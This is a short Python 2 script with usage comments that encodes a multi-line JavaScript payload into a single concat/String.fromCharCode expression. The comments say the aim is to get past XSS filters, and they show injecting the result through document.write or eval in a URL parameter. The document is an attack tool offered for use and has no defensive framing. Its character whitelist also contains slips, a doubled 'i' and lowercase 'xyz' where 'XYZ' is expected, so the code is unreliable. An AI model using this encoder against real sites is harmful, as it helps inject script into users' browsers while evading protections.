javascript mutil lines payload into one line

Js2S.py

#The main purpose is to bypass xss filters and execute multi lines payload
#write your payload   to a file.txt
#run the script and pass the file as argument 
#   $python js2S.py file.txt
# copy the output and pass the output paylad to a javascript function document.write or eval ,, etc , 
#for example , http://vuln2-xss.com/?name=document.write(__output__) 
#if any character from the following is filtered , remove it.


import sys,os
path=sys.argv[1]
lines=''
alph='abcdefghiijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWxyz0123456789'
if os.path.isfile(path):
        lines=open(path,'r').read()
else:
        lines=path
last=False
ndata="''.concat("
for l in lines:
        if len(l)<1:
                continue
        legal=l in alph
        asc=ord(l)
        if legal and last:
                ndata=ndata+l
        elif legal and not last:
                ndata=ndata+")).concat('"+l
        elif last and not legal:
                ndata=ndata+"').concat(String.fromCharCode("+str(asc)
        else:
                ndata=ndata+')).concat(String.fromCharCode('+str(asc)
        last=legal
print "''"+ndata[12:]+'))'